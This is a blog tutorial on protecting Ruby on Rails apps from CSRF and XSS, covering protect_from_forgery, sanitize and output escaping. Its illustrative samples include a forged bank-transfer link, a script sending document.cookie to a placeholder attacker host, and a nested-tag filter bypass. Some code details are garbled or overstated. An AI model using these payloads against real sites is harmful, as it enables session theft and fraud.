Rails Security: Eliminating CSRF and XSS Vulnerabilities

Written by mikenath223 | Published 2020/03/24
Tech Story Tags: ruby-on-rails | rails-security | webdev | cyber-security | security | rails | xss-vulnerabilities | hackernoon-top-story

TLDR In this article, we will discuss the various attack methods that make your rails app vulnerable to Cross-Site Request Forgery(CSRF) and XSS (XSS) exploits. CSRF occurs in an authenticated session when there is an existing browser-server trust. XSS is a form of injection attack that doesn’t require authentication and happens when the proper measures were not made on the backend to validate or escape inputted values this form of attack gives the attacker direct access to all elements on the page.via the TL;DR App

“…3,813 breaches were reported through June 30, 2019,
exposing over 4.1 billion records. Compared to the midyear of 2018, the number of reported breaches was up 54% and the number of exposed records was up 52%”. - Source, RiskBasedSecurity
Quite an alarming report right? Well, one can be certain that figure isn’t going down, on the contrary, the closing security report of 2019 turned out to be more nerve-racking. This undoubtedly emphasizes the need to develop secure rails web applications.
In this article, we will discuss the various attack methods that make your rails app vulnerable to Cross-Site Request Forgery(CSRF) and Cross-Site Scripting(XSS) exploits and profer ways to remove these points of attack. But before going any further it would be nice to understand the differences between CSRF and XSS exploits. The fundamental difference between both lies in the fact that CSRF occurs in an authenticated session when there is an existing browser-server trust, while XSS is a form of injection attack that doesn’t require authentication and happens when the proper measures were not made on the backend to validate or escape inputted values this form of attack gives the attacker direct access to all elements on the page; now that’s scary.
Alright, this might be a bit tough to understand for some of us so let me give scenarios of CSRF and XSS exploits to properly drive home the point. For CSRF, consider this example: Anna just logged into her banking account on her laptop and after carrying out a transaction forgets to log out and then she accesses Facebook on her mobile phone through the same browser(remember cookies can be synced across devices). Now a scrupulous attacker X has embedded a malicious link on her Facebook page either into another seemingly harmless link this way:
<a href="http://yourbanksite.com/transerfunds.do?fromacct=youracct&toacct=attackers_account&amt=10000&cur=usd">Like Post</a>
or inserts it in a blank or zero-byte image this way:
<img src="http://yourbanksite.com/transerfunds.do?fromacct=youracct&toacct=attackers_account&amt=10000&cur=usd">
Now, say our fictitious Anna accidentally clicks on this link, oh my too bad, in the background a transfer can be initiated and completed even though she only just clicked from her phone browser. Well, not to worry most web apps have mechanisms to prevent this if the developer does the homework.
Now to XSS, remember we learned XSS has to do with JavaScript execution, so consider another scenario: Dave just got back from work decided to check online to get the latest update from his favorite blog, so he gets his phone clicks the bookmarked blog link and reads through a few articles, but on a particular article page he notices an advertisement, seems quite suspicious but well this is his trusted blog they won’t showcase a mischievous advert right? So he clicks the advert and is redirected to a site that seems quite legitimate and asks for some confidential information from him to proceed, so he inputs these and moments later an unscrupulous attacker at the other end now has some personal information on Dave. Woah that happened fast but let’s retrace our steps to ascertain what happened there. What had happened was the unscrupulous attacker must have injected some code into Dave’s favorite blog app through a vulnerable entry point and through that point the web app saves the code and displays it on a page, which was later presented to Dave. Now granted this is unnerving but Dave wouldn’t have succumbed to this vulnerability if the proper steps to eliminate this vulnerability had been taken beforehand, but let’s not forget Anna too we would first discuss her vulnerability Cross-Site Request Forgery(CSRF) and marshal out steps with which it could have been avoided, then we will scoot over to talk about Dave’s vulnerability Cross-Site-Scripting(XSS) too, wouldn’t want to forget him.

Cross-Site Request Forgery(CSRF) Vulnerability

* Eliminating Vulnerability — Using the default method
As a rails developer, you get CSRF protection starting with just one line of code in your application_controller.rb. This has been in rails for quite a while now and comes bundles as the default for newly created Rails applications:
protect_from_forgery with: :exception
Then there’s another single line of code in your application.html.erb:
<%= csrf_meta_tags %>
What this does is that it automatically includes a security token in all forms and Ajax requests generated by Rails. If the security token doesn’t match what was expected on the server-side, an exception will be thrown. Hey not so fast, because that’s not all. Now web requests are divided into two main types — GET and POST(DELETE, PUT and PATCH which are somewhat like POST). But why are we talking about web requests, does that have anything to do with web security? Well, that’s because a seemingly harmless GET request can be re-engineered into a harmful post request. The World Wide Web Consortium (W3C) has a sort of checklist for if you get confused in choosing between a GET and POST request. Here it is:
For a GET, before using ask:
  • Is the request a question, is it simply a query like a read operation or lookup operation?
For a POST, before using ask:
  • Is the request more like issuing a command?
  • Would the request change the state of the receiving end in such a way that the end-user would know there’s been a change?
  • Would the user be responsible for any action she/he takes during the interaction?
Now anyone of the above questions that checks out would be instrumental in helping you decide between a GET or POST request.
Injecting a malicious script into any HTML tag comes is possible, and it can be linked to an event-listener like a click event or mouseover event. Think of an attacker creating a form dynamically and submitting this form when you click on a link or simply when you mouseover an image. To protect against this form of attack all cross-site script tags need to be disallowed. But do you know it’s not possible to distinguish between a <script> tag’s origin? Yea, it isn’t that’s why it’s safer to simply block all scripts generated through controllers. This doesn’t include Ajax requests because they obey the browser’s same-origin policy, so it’s safe for an Ajax request to return Javascript response but with a security token on every non-GET Ajax call.
But say you have an external library you integrated into your rails application, and this library makes non-get Ajax calls, it would be necessary to add this security token as a default header. This is because as we mentioned before dues to the protect_from_forgery… code added to the application controller rails by default would block all non-GET Ajax calls. To extract the token check the <meta name=‘csrf-token’ content= ‘Token Here’> tag printed by <%= csrf_meta_tags %> which you can simply find in a form element in your application view.
Now, this is just for CSRF vulnerability, but guess what, cross-site scripting (XSS) vulnerability gets over all and any CSRF protection you may have in place, oh my! We should talk about it now, right?

Cross-Site Scripting (XSS) Vulnerability

It is quite necessary to give some additional background info because XSS vulnerability is quite challenging to deal with.
1. Points of Entry
There are quite a few entry points that pose a threat but they all fall under the single category of a vulnerable URL and its parameters. But what do we mean by the term parameters in this context, well think about the way rails work for a second? Let’s take an example, so you have a rails form; it takes user inputs and sends these input values to the destination controller when the user hits the send button. Well, those input values are called the form’s parameters, and the link that existed on the send button might be a vulnerable URL as an example. Now, form inputs could exist through various formats on a webpage; these range from search result pages, user comments field, message sending forms to just about anywhere a user can input data. This also includes any URL parameter even though hidden.
The common XSS language is Javascript and it can be run in quite a few places that might seem strange like here:
<img src="javascript:alert('Hello')">
or here:
<script>document.write('img src="http://www.harmful.com/' + document.cookie + '">';</script>
Now that last example is worrisome, let me walk you through what it does. First document.cookie there would show the cookie content of the webpage you are on. While document.write simply creates an image but makes the image’s source tag that of the attacker’s URL which has been joined to the cookie content of the page. But there is no harm there, after all, it would simply write an image to the page, right? Nope, the real danger is what happens when the browser tries accessing that image through the source tag. It displays nothing on the user end but the attacker can go check their server’s access logs files and guess what will be there — the victim’s cookie content.

2. Deploying Countermeasures

2.1 Filtering malicious input

In discussing the points of entry for XSS we said virtually any place the user can input data is a vulnerable entry point. Therefore, it would be agreeable to remove this vulnerability by filtering input from these sources. To filter input it is advisable to do permitted input filtering as against restricted lists. We would explain permitted filtering later on but let’s get a grasp on restricted lists and why it’s not advisable to use. Now, the restricted list approach was what earlier versions of rails used and it has three methods; strip_tags(), strip_links(), and sanitize() methods. So say you want to use the strip_tags() method to ensure the “script” tag doesn’t pass through. Here’s an example:
You have a restricted tag lists that allow every tag but deletes the word “script” from the input value. Seems nice, but what if the attacker goes ahead and uses something like this:
"some<<b>script>alert('hacked')<</b>/script>"
So using the script_tag() method you’ve set beforehand your app goes ahead and filters this giving a return value:
script_tags("some<<b>script>alert('hacked')<</b>/script>") //=> "some<script>alert('hacked')</script>"
Now that return value above would make an attack possible. Hence the reason why a permitted list approach is far safer.
The permitted list approach uses the updated Rails sanitize() method, and as the norm, we will explain with another example:
You have an app with users, and now in a bid to make new users feel more welcome, you decide to allow them to include a link to their blog in a user-blog input field, so other users can access it. That’s nice right, especially since you trust them not to do anything malicious with this new power you’ve given them. So, you collect this input and output it using html_safe method so the link is readily clickable:
<p>
<strong> User Blog: </strong>
<%= @user.blog.html_safe %>
</p>
It’s all good for a while until a particular user decides to be more adventurous and inputs this in the user-blog field:
<script>alert("hacked")</script>
And now when you or other users view their page guess what will appear — a javascript alert block with the content “hacked” — ughhh!!!
Oh my, that escalated really fast.
But guess what there is a way out. By using the sanitize() method through the permitted list approach it provides you can simply append this to your output:
<p>
<strong> User Blog: </strong>
<%= sanitize @user.blog.html_safe %>
</p>
So this:
<script>alert("hacked")</script>
Becomes just this:
alert("hacked")
It always works no matter how smart the intruder might be. So you remember what we passed in the defective script_tag() method, that allowed the intruder through right? Now let’s pass it to sanitize method:
sanitize("some<<b>script>alert('hacked')<</b>/script>") //=> somealert('hacked')
All safe, it does a great job even against all kinds of traps and twisted tags.
Also, you could pass it the tags you want to allow through:
allowed_tags = %w(a acronym b srong i em h1 h2 br p)
result = sanitize(user_input, tags: allowed_tags, attributes: %w(href title))
Now just the tags you permitted will go through, cool.

2.2 Escape application output

Apart from filtering malicious input, it’s also a good practice to escape the output of your web application so in effect escaping HTML values. Now in HTML, tags start and end with <> characters and we differentiate a tag’s attribute name from its attribute value by putting the value in between single or double-quotes.
Now it is important to replace these special characters with harmless ones to make sure they are not being considered as regular HTML tags. Rails uses the ERB::Util#html_escape function to escape HTML objects and this function substitutes these special characters based on these replacement hash:
{ "&" => "&amp;", ">" => "&gt;", "<" => "&lt;", '"' => "&quot;", "'" => "&#39;" }
To give an example the following input from an attacker:
<b>User Blog: <%= params[:blog_url] %></b>
where ?blog_url = <script>alert(1)</script>
will be escaped with the html_escape function to generate this:
<b> User Blog &lt;script&gt;alert(1)&lt;/script&gt;gt; </b>
You can see that all special characters have been escaped and replaced with characters based on the replacement hash. Nice right?
So to reiterate its a good practice to escape all application output especially when displaying user input. Simply use the escapeHTML() function or its alias h() and you’ll be fine.

Conclusion

We’ve only just considered two relatively common vulnerabilities but there are still others and even emerging ones. Hence to develop and maintain the security level of web applications, it is really important to keep up to date on all layers of security and know your “enemies”. Read security blogs constantly, subscribe to security mailing lists, make it a habit to update and run security checks on all your web applications. Ensure you run security checks manually also. There is a good static analysis tool that can help identify porosity in your Rails apps — Brakeman — you can find the docs here, it can also be run as part of your continuous integration test suite with a tool like CircleCI. I wouldn’t forget to mention this effective Cross-Site Scripting Cheat Sheet. They also run a good security blog.
If you feel you need to understand CSS Grid and Flexbox layouts better in terms of when to use each, feel free to check out my previous article
Kindly reach out to me if I made a mistake here or perhaps you have other recommendations. Thanks a bunch!!!

Come Say Hi 💜



Written by mikenath223 | I write code, run tests, deploy. iterate...
Published by HackerNoon on 2020/03/24